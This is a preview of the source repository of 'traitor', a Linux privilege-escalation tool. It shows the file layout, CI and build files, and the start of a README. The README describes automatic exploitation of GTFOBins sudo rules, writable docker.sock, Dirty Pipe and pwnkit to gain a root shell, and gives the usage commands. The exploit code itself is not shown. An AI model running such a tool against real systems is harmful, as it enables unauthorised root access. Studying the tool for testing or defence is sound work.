Full Code of liamg/traitor for AI

main 0d221ba0d0e6 cached
567 files
7.6 MB
2.0M tokens
86415 symbols
1 requests
Download .txt
Showing preview only (8,079K chars total). Download the full file or copy to clipboard to get everything.
Repository: liamg/traitor
Branch: main
Commit: 0d221ba0d0e6
Files: 567
Total size: 7.6 MB

Directory structure:
gitextract_h4e8y7u2/

├── .github/
│   ├── FUNDING.yml
│   └── workflows/
│       ├── antispam.yml
│       ├── pr.yml
│       └── release.yml
├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── cmd/
│   ├── pack/
│   │   └── main.go
│   └── traitor/
│       └── main.go
├── go.mod
├── go.sum
├── internal/
│   ├── cmd/
│   │   ├── backdoor.go
│   │   ├── list.go
│   │   ├── root.go
│   │   └── setuid.go
│   ├── pipe/
│   │   └── pipe.go
│   └── version/
│       └── version.go
├── pkg/
│   ├── backdoor/
│   │   └── traitor.go
│   ├── exploits/
│   │   ├── all.go
│   │   ├── cve20213560/
│   │   │   └── exploit.go
│   │   ├── cve20214034/
│   │   │   ├── exploit.go
│   │   │   ├── sharedobject_sh_386.go
│   │   │   ├── sharedobject_sh_amd64.go
│   │   │   ├── sharedobject_sh_arm64.go
│   │   │   ├── sharedobject_true_386.go
│   │   │   ├── sharedobject_true_amd64.go
│   │   │   └── sharedobject_true_arm64.go
│   │   ├── cve20220847/
│   │   │   └── exploit.go
│   │   ├── dockersock/
│   │   │   └── exploit.go
│   │   ├── gtfobins.go
│   │   ├── registration.go
│   │   └── types.go
│   ├── logger/
│   │   └── logger.go
│   ├── payloads/
│   │   └── payloads.go
│   ├── random/
│   │   └── filename.go
│   ├── shell/
│   │   └── password.go
│   └── state/
│       ├── distro.go
│       ├── kernel.go
│       ├── packages.go
│       ├── state.go
│       └── sudoers.go
└── vendor/
    ├── github.com/
    │   ├── creack/
    │   │   └── pty/
    │   │       ├── .gitignore
    │   │       ├── Dockerfile.golang
    │   │       ├── Dockerfile.riscv
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── asm_solaris_amd64.s
    │   │       ├── doc.go
    │   │       ├── ioctl.go
    │   │       ├── ioctl_bsd.go
    │   │       ├── ioctl_solaris.go
    │   │       ├── ioctl_unsupported.go
    │   │       ├── mktypes.bash
    │   │       ├── pty_darwin.go
    │   │       ├── pty_dragonfly.go
    │   │       ├── pty_freebsd.go
    │   │       ├── pty_linux.go
    │   │       ├── pty_netbsd.go
    │   │       ├── pty_openbsd.go
    │   │       ├── pty_solaris.go
    │   │       ├── pty_unsupported.go
    │   │       ├── run.go
    │   │       ├── start.go
    │   │       ├── start_windows.go
    │   │       ├── test_crosscompile.sh
    │   │       ├── winsize.go
    │   │       ├── winsize_unix.go
    │   │       ├── winsize_unsupported.go
    │   │       ├── ztypes_386.go
    │   │       ├── ztypes_amd64.go
    │   │       ├── ztypes_arm.go
    │   │       ├── ztypes_arm64.go
    │   │       ├── ztypes_dragonfly_amd64.go
    │   │       ├── ztypes_freebsd_386.go
    │   │       ├── ztypes_freebsd_amd64.go
    │   │       ├── ztypes_freebsd_arm.go
    │   │       ├── ztypes_freebsd_arm64.go
    │   │       ├── ztypes_freebsd_ppc64.go
    │   │       ├── ztypes_loong64.go
    │   │       ├── ztypes_mipsx.go
    │   │       ├── ztypes_netbsd_32bit_int.go
    │   │       ├── ztypes_openbsd_32bit_int.go
    │   │       ├── ztypes_ppc64.go
    │   │       ├── ztypes_ppc64le.go
    │   │       ├── ztypes_riscvx.go
    │   │       └── ztypes_s390x.go
    │   ├── google/
    │   │   └── uuid/
    │   │       ├── .travis.yml
    │   │       ├── CONTRIBUTING.md
    │   │       ├── CONTRIBUTORS
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── dce.go
    │   │       ├── doc.go
    │   │       ├── hash.go
    │   │       ├── marshal.go
    │   │       ├── node.go
    │   │       ├── node_js.go
    │   │       ├── node_net.go
    │   │       ├── null.go
    │   │       ├── sql.go
    │   │       ├── time.go
    │   │       ├── util.go
    │   │       ├── uuid.go
    │   │       ├── version1.go
    │   │       └── version4.go
    │   ├── hashicorp/
    │   │   └── go-version/
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── constraint.go
    │   │       ├── version.go
    │   │       └── version_collection.go
    │   ├── inconshreveable/
    │   │   └── mousetrap/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── trap_others.go
    │   │       ├── trap_windows.go
    │   │       └── trap_windows_1.4.go
    │   ├── liamg/
    │   │   └── tml/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── Makefile
    │   │       ├── README.md
    │   │       ├── disable.go
    │   │       ├── new_line.go
    │   │       ├── parse.go
    │   │       ├── parser.go
    │   │       ├── printf.go
    │   │       ├── println.go
    │   │       ├── sprintf.go
    │   │       └── tags.go
    │   └── spf13/
    │       ├── cobra/
    │       │   ├── .gitignore
    │       │   ├── .golangci.yml
    │       │   ├── .mailmap
    │       │   ├── CONDUCT.md
    │       │   ├── CONTRIBUTING.md
    │       │   ├── LICENSE.txt
    │       │   ├── MAINTAINERS
    │       │   ├── Makefile
    │       │   ├── README.md
    │       │   ├── active_help.go
    │       │   ├── active_help.md
    │       │   ├── args.go
    │       │   ├── bash_completions.go
    │       │   ├── bash_completions.md
    │       │   ├── bash_completionsV2.go
    │       │   ├── cobra.go
    │       │   ├── command.go
    │       │   ├── command_notwin.go
    │       │   ├── command_win.go
    │       │   ├── completions.go
    │       │   ├── fish_completions.go
    │       │   ├── fish_completions.md
    │       │   ├── flag_groups.go
    │       │   ├── powershell_completions.go
    │       │   ├── powershell_completions.md
    │       │   ├── projects_using_cobra.md
    │       │   ├── shell_completions.go
    │       │   ├── shell_completions.md
    │       │   ├── user_guide.md
    │       │   ├── zsh_completions.go
    │       │   └── zsh_completions.md
    │       └── pflag/
    │           ├── .gitignore
    │           ├── .travis.yml
    │           ├── LICENSE
    │           ├── README.md
    │           ├── bool.go
    │           ├── bool_slice.go
    │           ├── bytes.go
    │           ├── count.go
    │           ├── duration.go
    │           ├── duration_slice.go
    │           ├── flag.go
    │           ├── float32.go
    │           ├── float32_slice.go
    │           ├── float64.go
    │           ├── float64_slice.go
    │           ├── golangflag.go
    │           ├── int.go
    │           ├── int16.go
    │           ├── int32.go
    │           ├── int32_slice.go
    │           ├── int64.go
    │           ├── int64_slice.go
    │           ├── int8.go
    │           ├── int_slice.go
    │           ├── ip.go
    │           ├── ip_slice.go
    │           ├── ipmask.go
    │           ├── ipnet.go
    │           ├── string.go
    │           ├── string_array.go
    │           ├── string_slice.go
    │           ├── string_to_int.go
    │           ├── string_to_int64.go
    │           ├── string_to_string.go
    │           ├── uint.go
    │           ├── uint16.go
    │           ├── uint32.go
    │           ├── uint64.go
    │           ├── uint8.go
    │           └── uint_slice.go
    ├── golang.org/
    │   └── x/
    │       ├── crypto/
    │       │   ├── AUTHORS
    │       │   ├── CONTRIBUTORS
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   └── ssh/
    │       │       └── terminal/
    │       │           └── terminal.go
    │       ├── sys/
    │       │   ├── AUTHORS
    │       │   ├── CONTRIBUTORS
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── internal/
    │       │   │   └── unsafeheader/
    │       │   │       └── unsafeheader.go
    │       │   ├── plan9/
    │       │   │   ├── asm.s
    │       │   │   ├── asm_plan9_386.s
    │       │   │   ├── asm_plan9_amd64.s
    │       │   │   ├── asm_plan9_arm.s
    │       │   │   ├── const_plan9.go
    │       │   │   ├── dir_plan9.go
    │       │   │   ├── env_plan9.go
    │       │   │   ├── errors_plan9.go
    │       │   │   ├── mkall.sh
    │       │   │   ├── mkerrors.sh
    │       │   │   ├── mksysnum_plan9.sh
    │       │   │   ├── pwd_go15_plan9.go
    │       │   │   ├── pwd_plan9.go
    │       │   │   ├── race.go
    │       │   │   ├── race0.go
    │       │   │   ├── str.go
    │       │   │   ├── syscall.go
    │       │   │   ├── syscall_plan9.go
    │       │   │   ├── zsyscall_plan9_386.go
    │       │   │   ├── zsyscall_plan9_amd64.go
    │       │   │   ├── zsyscall_plan9_arm.go
    │       │   │   └── zsysnum_plan9.go
    │       │   ├── unix/
    │       │   │   ├── .gitignore
    │       │   │   ├── README.md
    │       │   │   ├── affinity_linux.go
    │       │   │   ├── aliases.go
    │       │   │   ├── asm_aix_ppc64.s
    │       │   │   ├── asm_bsd_386.s
    │       │   │   ├── asm_bsd_amd64.s
    │       │   │   ├── asm_bsd_arm.s
    │       │   │   ├── asm_bsd_arm64.s
    │       │   │   ├── asm_linux_386.s
    │       │   │   ├── asm_linux_amd64.s
    │       │   │   ├── asm_linux_arm.s
    │       │   │   ├── asm_linux_arm64.s
    │       │   │   ├── asm_linux_loong64.s
    │       │   │   ├── asm_linux_mips64x.s
    │       │   │   ├── asm_linux_mipsx.s
    │       │   │   ├── asm_linux_ppc64x.s
    │       │   │   ├── asm_linux_riscv64.s
    │       │   │   ├── asm_linux_s390x.s
    │       │   │   ├── asm_openbsd_mips64.s
    │       │   │   ├── asm_solaris_amd64.s
    │       │   │   ├── asm_zos_s390x.s
    │       │   │   ├── bluetooth_linux.go
    │       │   │   ├── cap_freebsd.go
    │       │   │   ├── constants.go
    │       │   │   ├── dev_aix_ppc.go
    │       │   │   ├── dev_aix_ppc64.go
    │       │   │   ├── dev_darwin.go
    │       │   │   ├── dev_dragonfly.go
    │       │   │   ├── dev_freebsd.go
    │       │   │   ├── dev_linux.go
    │       │   │   ├── dev_netbsd.go
    │       │   │   ├── dev_openbsd.go
    │       │   │   ├── dev_zos.go
    │       │   │   ├── dirent.go
    │       │   │   ├── endian_big.go
    │       │   │   ├── endian_little.go
    │       │   │   ├── env_unix.go
    │       │   │   ├── epoll_zos.go
    │       │   │   ├── errors_freebsd_386.go
    │       │   │   ├── errors_freebsd_amd64.go
    │       │   │   ├── errors_freebsd_arm.go
    │       │   │   ├── errors_freebsd_arm64.go
    │       │   │   ├── fcntl.go
    │       │   │   ├── fcntl_darwin.go
    │       │   │   ├── fcntl_linux_32bit.go
    │       │   │   ├── fdset.go
    │       │   │   ├── fstatfs_zos.go
    │       │   │   ├── gccgo.go
    │       │   │   ├── gccgo_c.c
    │       │   │   ├── gccgo_linux_amd64.go
    │       │   │   ├── ifreq_linux.go
    │       │   │   ├── ioctl.go
    │       │   │   ├── ioctl_linux.go
    │       │   │   ├── ioctl_zos.go
    │       │   │   ├── mkall.sh
    │       │   │   ├── mkerrors.sh
    │       │   │   ├── pagesize_unix.go
    │       │   │   ├── pledge_openbsd.go
    │       │   │   ├── ptrace_darwin.go
    │       │   │   ├── ptrace_ios.go
    │       │   │   ├── race.go
    │       │   │   ├── race0.go
    │       │   │   ├── readdirent_getdents.go
    │       │   │   ├── readdirent_getdirentries.go
    │       │   │   ├── sockcmsg_dragonfly.go
    │       │   │   ├── sockcmsg_linux.go
    │       │   │   ├── sockcmsg_unix.go
    │       │   │   ├── sockcmsg_unix_other.go
    │       │   │   ├── str.go
    │       │   │   ├── syscall.go
    │       │   │   ├── syscall_aix.go
    │       │   │   ├── syscall_aix_ppc.go
    │       │   │   ├── syscall_aix_ppc64.go
    │       │   │   ├── syscall_bsd.go
    │       │   │   ├── syscall_darwin.1_12.go
    │       │   │   ├── syscall_darwin.1_13.go
    │       │   │   ├── syscall_darwin.go
    │       │   │   ├── syscall_darwin_amd64.go
    │       │   │   ├── syscall_darwin_arm64.go
    │       │   │   ├── syscall_darwin_libSystem.go
    │       │   │   ├── syscall_dragonfly.go
    │       │   │   ├── syscall_dragonfly_amd64.go
    │       │   │   ├── syscall_freebsd.go
    │       │   │   ├── syscall_freebsd_386.go
    │       │   │   ├── syscall_freebsd_amd64.go
    │       │   │   ├── syscall_freebsd_arm.go
    │       │   │   ├── syscall_freebsd_arm64.go
    │       │   │   ├── syscall_illumos.go
    │       │   │   ├── syscall_linux.go
    │       │   │   ├── syscall_linux_386.go
    │       │   │   ├── syscall_linux_alarm.go
    │       │   │   ├── syscall_linux_amd64.go
    │       │   │   ├── syscall_linux_amd64_gc.go
    │       │   │   ├── syscall_linux_arm.go
    │       │   │   ├── syscall_linux_arm64.go
    │       │   │   ├── syscall_linux_gc.go
    │       │   │   ├── syscall_linux_gc_386.go
    │       │   │   ├── syscall_linux_gc_arm.go
    │       │   │   ├── syscall_linux_gccgo_386.go
    │       │   │   ├── syscall_linux_gccgo_arm.go
    │       │   │   ├── syscall_linux_loong64.go
    │       │   │   ├── syscall_linux_mips64x.go
    │       │   │   ├── syscall_linux_mipsx.go
    │       │   │   ├── syscall_linux_ppc.go
    │       │   │   ├── syscall_linux_ppc64x.go
    │       │   │   ├── syscall_linux_riscv64.go
    │       │   │   ├── syscall_linux_s390x.go
    │       │   │   ├── syscall_linux_sparc64.go
    │       │   │   ├── syscall_netbsd.go
    │       │   │   ├── syscall_netbsd_386.go
    │       │   │   ├── syscall_netbsd_amd64.go
    │       │   │   ├── syscall_netbsd_arm.go
    │       │   │   ├── syscall_netbsd_arm64.go
    │       │   │   ├── syscall_openbsd.go
    │       │   │   ├── syscall_openbsd_386.go
    │       │   │   ├── syscall_openbsd_amd64.go
    │       │   │   ├── syscall_openbsd_arm.go
    │       │   │   ├── syscall_openbsd_arm64.go
    │       │   │   ├── syscall_openbsd_mips64.go
    │       │   │   ├── syscall_solaris.go
    │       │   │   ├── syscall_solaris_amd64.go
    │       │   │   ├── syscall_unix.go
    │       │   │   ├── syscall_unix_gc.go
    │       │   │   ├── syscall_unix_gc_ppc64x.go
    │       │   │   ├── syscall_zos_s390x.go
    │       │   │   ├── sysvshm_linux.go
    │       │   │   ├── sysvshm_unix.go
    │       │   │   ├── sysvshm_unix_other.go
    │       │   │   ├── timestruct.go
    │       │   │   ├── unveil_openbsd.go
    │       │   │   ├── xattr_bsd.go
    │       │   │   ├── zerrors_aix_ppc.go
    │       │   │   ├── zerrors_aix_ppc64.go
    │       │   │   ├── zerrors_darwin_amd64.go
    │       │   │   ├── zerrors_darwin_arm64.go
    │       │   │   ├── zerrors_dragonfly_amd64.go
    │       │   │   ├── zerrors_freebsd_386.go
    │       │   │   ├── zerrors_freebsd_amd64.go
    │       │   │   ├── zerrors_freebsd_arm.go
    │       │   │   ├── zerrors_freebsd_arm64.go
    │       │   │   ├── zerrors_linux.go
    │       │   │   ├── zerrors_linux_386.go
    │       │   │   ├── zerrors_linux_amd64.go
    │       │   │   ├── zerrors_linux_arm.go
    │       │   │   ├── zerrors_linux_arm64.go
    │       │   │   ├── zerrors_linux_loong64.go
    │       │   │   ├── zerrors_linux_mips.go
    │       │   │   ├── zerrors_linux_mips64.go
    │       │   │   ├── zerrors_linux_mips64le.go
    │       │   │   ├── zerrors_linux_mipsle.go
    │       │   │   ├── zerrors_linux_ppc.go
    │       │   │   ├── zerrors_linux_ppc64.go
    │       │   │   ├── zerrors_linux_ppc64le.go
    │       │   │   ├── zerrors_linux_riscv64.go
    │       │   │   ├── zerrors_linux_s390x.go
    │       │   │   ├── zerrors_linux_sparc64.go
    │       │   │   ├── zerrors_netbsd_386.go
    │       │   │   ├── zerrors_netbsd_amd64.go
    │       │   │   ├── zerrors_netbsd_arm.go
    │       │   │   ├── zerrors_netbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_386.go
    │       │   │   ├── zerrors_openbsd_amd64.go
    │       │   │   ├── zerrors_openbsd_arm.go
    │       │   │   ├── zerrors_openbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_mips64.go
    │       │   │   ├── zerrors_solaris_amd64.go
    │       │   │   ├── zerrors_zos_s390x.go
    │       │   │   ├── zptrace_armnn_linux.go
    │       │   │   ├── zptrace_linux_arm64.go
    │       │   │   ├── zptrace_mipsnn_linux.go
    │       │   │   ├── zptrace_mipsnnle_linux.go
    │       │   │   ├── zptrace_x86_linux.go
    │       │   │   ├── zsyscall_aix_ppc.go
    │       │   │   ├── zsyscall_aix_ppc64.go
    │       │   │   ├── zsyscall_aix_ppc64_gc.go
    │       │   │   ├── zsyscall_aix_ppc64_gccgo.go
    │       │   │   ├── zsyscall_darwin_amd64.1_13.go
    │       │   │   ├── zsyscall_darwin_amd64.1_13.s
    │       │   │   ├── zsyscall_darwin_amd64.go
    │       │   │   ├── zsyscall_darwin_amd64.s
    │       │   │   ├── zsyscall_darwin_arm64.1_13.go
    │       │   │   ├── zsyscall_darwin_arm64.1_13.s
    │       │   │   ├── zsyscall_darwin_arm64.go
    │       │   │   ├── zsyscall_darwin_arm64.s
    │       │   │   ├── zsyscall_dragonfly_amd64.go
    │       │   │   ├── zsyscall_freebsd_386.go
    │       │   │   ├── zsyscall_freebsd_amd64.go
    │       │   │   ├── zsyscall_freebsd_arm.go
    │       │   │   ├── zsyscall_freebsd_arm64.go
    │       │   │   ├── zsyscall_illumos_amd64.go
    │       │   │   ├── zsyscall_linux.go
    │       │   │   ├── zsyscall_linux_386.go
    │       │   │   ├── zsyscall_linux_amd64.go
    │       │   │   ├── zsyscall_linux_arm.go
    │       │   │   ├── zsyscall_linux_arm64.go
    │       │   │   ├── zsyscall_linux_loong64.go
    │       │   │   ├── zsyscall_linux_mips.go
    │       │   │   ├── zsyscall_linux_mips64.go
    │       │   │   ├── zsyscall_linux_mips64le.go
    │       │   │   ├── zsyscall_linux_mipsle.go
    │       │   │   ├── zsyscall_linux_ppc.go
    │       │   │   ├── zsyscall_linux_ppc64.go
    │       │   │   ├── zsyscall_linux_ppc64le.go
    │       │   │   ├── zsyscall_linux_riscv64.go
    │       │   │   ├── zsyscall_linux_s390x.go
    │       │   │   ├── zsyscall_linux_sparc64.go
    │       │   │   ├── zsyscall_netbsd_386.go
    │       │   │   ├── zsyscall_netbsd_amd64.go
    │       │   │   ├── zsyscall_netbsd_arm.go
    │       │   │   ├── zsyscall_netbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_386.go
    │       │   │   ├── zsyscall_openbsd_amd64.go
    │       │   │   ├── zsyscall_openbsd_arm.go
    │       │   │   ├── zsyscall_openbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_mips64.go
    │       │   │   ├── zsyscall_solaris_amd64.go
    │       │   │   ├── zsyscall_zos_s390x.go
    │       │   │   ├── zsysctl_openbsd_386.go
    │       │   │   ├── zsysctl_openbsd_amd64.go
    │       │   │   ├── zsysctl_openbsd_arm.go
    │       │   │   ├── zsysctl_openbsd_arm64.go
    │       │   │   ├── zsysctl_openbsd_mips64.go
    │       │   │   ├── zsysnum_darwin_amd64.go
    │       │   │   ├── zsysnum_darwin_arm64.go
    │       │   │   ├── zsysnum_dragonfly_amd64.go
    │       │   │   ├── zsysnum_freebsd_386.go
    │       │   │   ├── zsysnum_freebsd_amd64.go
    │       │   │   ├── zsysnum_freebsd_arm.go
    │       │   │   ├── zsysnum_freebsd_arm64.go
    │       │   │   ├── zsysnum_linux_386.go
    │       │   │   ├── zsysnum_linux_amd64.go
    │       │   │   ├── zsysnum_linux_arm.go
    │       │   │   ├── zsysnum_linux_arm64.go
    │       │   │   ├── zsysnum_linux_loong64.go
    │       │   │   ├── zsysnum_linux_mips.go
    │       │   │   ├── zsysnum_linux_mips64.go
    │       │   │   ├── zsysnum_linux_mips64le.go
    │       │   │   ├── zsysnum_linux_mipsle.go
    │       │   │   ├── zsysnum_linux_ppc.go
    │       │   │   ├── zsysnum_linux_ppc64.go
    │       │   │   ├── zsysnum_linux_ppc64le.go
    │       │   │   ├── zsysnum_linux_riscv64.go
    │       │   │   ├── zsysnum_linux_s390x.go
    │       │   │   ├── zsysnum_linux_sparc64.go
    │       │   │   ├── zsysnum_netbsd_386.go
    │       │   │   ├── zsysnum_netbsd_amd64.go
    │       │   │   ├── zsysnum_netbsd_arm.go
    │       │   │   ├── zsysnum_netbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_386.go
    │       │   │   ├── zsysnum_openbsd_amd64.go
    │       │   │   ├── zsysnum_openbsd_arm.go
    │       │   │   ├── zsysnum_openbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_mips64.go
    │       │   │   ├── zsysnum_zos_s390x.go
    │       │   │   ├── ztypes_aix_ppc.go
    │       │   │   ├── ztypes_aix_ppc64.go
    │       │   │   ├── ztypes_darwin_amd64.go
    │       │   │   ├── ztypes_darwin_arm64.go
    │       │   │   ├── ztypes_dragonfly_amd64.go
    │       │   │   ├── ztypes_freebsd_386.go
    │       │   │   ├── ztypes_freebsd_amd64.go
    │       │   │   ├── ztypes_freebsd_arm.go
    │       │   │   ├── ztypes_freebsd_arm64.go
    │       │   │   ├── ztypes_illumos_amd64.go
    │       │   │   ├── ztypes_linux.go
    │       │   │   ├── ztypes_linux_386.go
    │       │   │   ├── ztypes_linux_amd64.go
    │       │   │   ├── ztypes_linux_arm.go
    │       │   │   ├── ztypes_linux_arm64.go
    │       │   │   ├── ztypes_linux_loong64.go
    │       │   │   ├── ztypes_linux_mips.go
    │       │   │   ├── ztypes_linux_mips64.go
    │       │   │   ├── ztypes_linux_mips64le.go
    │       │   │   ├── ztypes_linux_mipsle.go
    │       │   │   ├── ztypes_linux_ppc.go
    │       │   │   ├── ztypes_linux_ppc64.go
    │       │   │   ├── ztypes_linux_ppc64le.go
    │       │   │   ├── ztypes_linux_riscv64.go
    │       │   │   ├── ztypes_linux_s390x.go
    │       │   │   ├── ztypes_linux_sparc64.go
    │       │   │   ├── ztypes_netbsd_386.go
    │       │   │   ├── ztypes_netbsd_amd64.go
    │       │   │   ├── ztypes_netbsd_arm.go
    │       │   │   ├── ztypes_netbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_386.go
    │       │   │   ├── ztypes_openbsd_amd64.go
    │       │   │   ├── ztypes_openbsd_arm.go
    │       │   │   ├── ztypes_openbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_mips64.go
    │       │   │   ├── ztypes_solaris_amd64.go
    │       │   │   └── ztypes_zos_s390x.go
    │       │   └── windows/
    │       │       ├── aliases.go
    │       │       ├── dll_windows.go
    │       │       ├── empty.s
    │       │       ├── env_windows.go
    │       │       ├── eventlog.go
    │       │       ├── exec_windows.go
    │       │       ├── memory_windows.go
    │       │       ├── mkerrors.bash
    │       │       ├── mkknownfolderids.bash
    │       │       ├── mksyscall.go
    │       │       ├── race.go
    │       │       ├── race0.go
    │       │       ├── security_windows.go
    │       │       ├── service.go
    │       │       ├── setupapi_windows.go
    │       │       ├── str.go
    │       │       ├── syscall.go
    │       │       ├── syscall_windows.go
    │       │       ├── types_windows.go
    │       │       ├── types_windows_386.go
    │       │       ├── types_windows_amd64.go
    │       │       ├── types_windows_arm.go
    │       │       ├── types_windows_arm64.go
    │       │       ├── zerrors_windows.go
    │       │       ├── zknownfolderids_windows.go
    │       │       └── zsyscall_windows.go
    │       └── term/
    │           ├── AUTHORS
    │           ├── CONTRIBUTING.md
    │           ├── CONTRIBUTORS
    │           ├── LICENSE
    │           ├── PATENTS
    │           ├── README.md
    │           ├── codereview.cfg
    │           ├── term.go
    │           ├── term_plan9.go
    │           ├── term_unix.go
    │           ├── term_unix_bsd.go
    │           ├── term_unix_other.go
    │           ├── term_unsupported.go
    │           ├── term_windows.go
    │           └── terminal.go
    └── modules.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/FUNDING.yml
================================================
github: [liamg]


================================================
FILE: .github/workflows/antispam.yml
================================================
name: antispam

on:
  issues:
    types:
      - opened
      - edited
      - reopened
  pull_request:
    types:
      - opened
      - edited
      - reopened
      - synchronize

permissions:
  pull-requests: write
  issues: write

jobs:
  build:
    name: Antispam
    runs-on: ubuntu-latest

    steps:
      - uses: liamg/antispam-action@1
        with:
          token: ${{ github.token }}


================================================
FILE: .github/workflows/pr.yml
================================================
on: [pull_request]
name: Test
jobs:
  test:
    strategy:
      matrix:
        go-version: [1.18.x]
        os: [ubuntu-latest]
    runs-on: ${{ matrix.os }}
    steps:
      - name: Install Go
        uses: actions/setup-go@v2
        with:
          go-version: ${{ matrix.go-version }}
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Test
        run: go test ./... -race -cover


================================================
FILE: .github/workflows/release.yml
================================================
name: Test and Release

on:
  push:
    # Sequence of patterns matched against refs/tags
    tags:
      - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10


jobs:

  build:
    strategy:
      matrix:
        arch: [ amd64, arm64, 386  ]
    runs-on: ubuntu-latest
    steps:
      - name: Install Go
        uses: actions/setup-go@v2
        with:
          go-version: 1.18.x
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Test
        run: make test
      - name: Build
        run: CGO_ENABLED=0 GOARCH=${{ matrix.arch }} go build -ldflags "-X github.com/liamg/traitor/internal/version.Version=`echo '${{ github.ref }}' | awk -F'/' '{print $3}'`" -o traitor-${{ matrix.arch }} ./cmd/traitor
      - name: Upload result
        uses: actions/upload-artifact@v2-preview
        with:
          name: traitor-${{ matrix.arch }}
          path: traitor-${{ matrix.arch }}

  release:
    needs: [build]
    runs-on: ubuntu-latest
    steps:
      - name: Get tag name
        id: get_tag_name
        run: echo ::set-output name=VERSION::${GITHUB_REF/refs\/tags\//}
      - name: Create Release
        id: create_release
        uses: actions/create-release@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          # name the release with the run_id to allow multiple builds on the same branch/tag
          # https://github.com/actions/create-release/issues/2#issuecomment-613591846
          tag_name: ${{ steps.get_tag_name.outputs.VERSION }}
          release_name: Release ${{ steps.get_tag_name.outputs.VERSION }}
          draft: false
          prerelease: false

      - uses: actions/download-artifact@v1
        with:
          name: traitor-amd64
        continue-on-error: true
      - name: Upload Release Asset
        uses: actions/upload-release-asset@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          upload_url: ${{ steps.create_release.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
          asset_path: ./traitor-amd64/traitor-amd64
          asset_name: traitor-amd64
          asset_content_type: application/octen-stream
        continue-on-error: true

      - uses: actions/download-artifact@v1
        with:
          name: traitor-arm64
        continue-on-error: true
      - name: Upload Release Asset
        uses: actions/upload-release-asset@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          upload_url: ${{ steps.create_release.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
          asset_path: ./traitor-arm64/traitor-arm64
          asset_name: traitor-arm64
          asset_content_type: application/octen-stream
        continue-on-error: true

      - uses: actions/download-artifact@v1
        with:
          name: traitor-386
        continue-on-error: true
      - name: Upload Release Asset
        uses: actions/upload-release-asset@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          upload_url: ${{ steps.create_release.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
          asset_path: ./traitor-386/traitor-386
          asset_name: traitor-386
          asset_content_type: application/octen-stream
        continue-on-error: true


================================================
FILE: .gitignore
================================================
/traitor
.idea


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2021 Liam Galvin

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: Makefile
================================================


.PHONY: build
build:
	CGO_ENABLED=0 go build ./cmd/traitor

.PHONY: pack
pack:
	go run ./cmd/pack

.PHONY: install
install:
	CGO_ENABLED=0 go install -ldflags "-X github.com/liamg/traitor/version.Version=`git describe --tags`" ./cmd/traitor

.PHONY: test
test:
	go test ./... -race -cover


================================================
FILE: README.md
================================================
# Traitor

Automatically exploit low-hanging fruit to pop a root shell. Linux privilege escalation made easy!

Traitor packages up a bunch of methods to exploit local misconfigurations and vulnerabilities in order to pop a root shell:

- Nearly all of [GTFOBins](https://gtfobins.github.io/)
- Writeable docker.sock
- CVE-2022-0847 (Dirty pipe)
- CVE-2021-4034 (pwnkit)
- CVE-2021-3560

![Demo](demo.gif)

It'll exploit most sudo privileges listed in GTFOBins to pop a root shell, as well as exploiting issues like a writable `docker.sock`, or the recent dirty pipe (CVE-2022-0847). More routes to root will be added over time too.

## Usage

Run with no arguments to find potential vulnerabilities/misconfigurations which could allow privilege escalation. Add the `-p` flag if the current user password is known. The password will be requested if it's needed to analyse sudo permissions etc.

```bash
traitor -p
```

Run with the `-a`/`--any` flag to find potential vulnerabilities, attempting to exploit each, stopping if a root shell is gained. Again, add the `-p` flag if the current user password is known.

```bash
traitor -a -p
```

Run with the `-e`/`--exploit` flag to attempt to exploit a specific vulnerability and gain a root shell.

```bash
